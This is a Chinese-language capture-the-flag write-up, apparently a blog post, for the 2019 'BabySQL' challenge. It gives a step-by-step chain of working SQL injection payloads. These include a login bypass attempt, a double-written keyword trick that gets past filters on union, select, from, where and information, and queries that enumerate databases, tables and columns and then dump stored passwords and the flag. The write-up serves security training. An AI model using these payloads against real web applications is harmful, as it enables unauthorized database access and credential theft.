[极客大挑战 2019]BabySQL 1
打开实例,源代码审计,发现登录请求check.php页面路径,采用get方法
根据题目可知这是sql注入,尝试万能密码无果
?username=admin' or 1=1 --+&password=admin
尝试order by、堆叠注入和union联合注入,发现都无效,怀疑字段被过滤(这边基本确定or被过滤)
尝试双写绕过,成功绕过
?username=admin' ununionion seselectlect 1,2,3%23&password=1
确定回显点为2,3
?username=1' ununionion seselectlect 1,2,3%23&password=1
爆库,from和infomation被过滤,双写绕过,发现数据库geek和ctf
?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1
爆表
双写绕过payload
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="geek"%23&password=1
获得数据表b4bsql,geekuser,双写爆字段
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=1
查表数据,发现password也被过滤
?username=1' ununionion seselectlect 1,2,concat(id,username,password) frfromom b4bsql%23&password=1
双写绕过
?username=1' ununionion seselectlect 1,2,concat(passwoorrd) frfromom b4bsql%23&password=1
获得password: i_want_to_play_2077,提交发现不是正确的flag,转向ctf表
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf"%23&password=1
发现Flag表
爆字段,发现flag字段
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'%23&password=1
查表,显示当前不在数据库ctf中
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom Flag%23&password=1
小改一波,flag到手
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1
标签:username,极客,23,frfromom,BabySQL,2019,password,seselectlect,ununionion
From: https://www.cnblogs.com/tazmi/p/18535676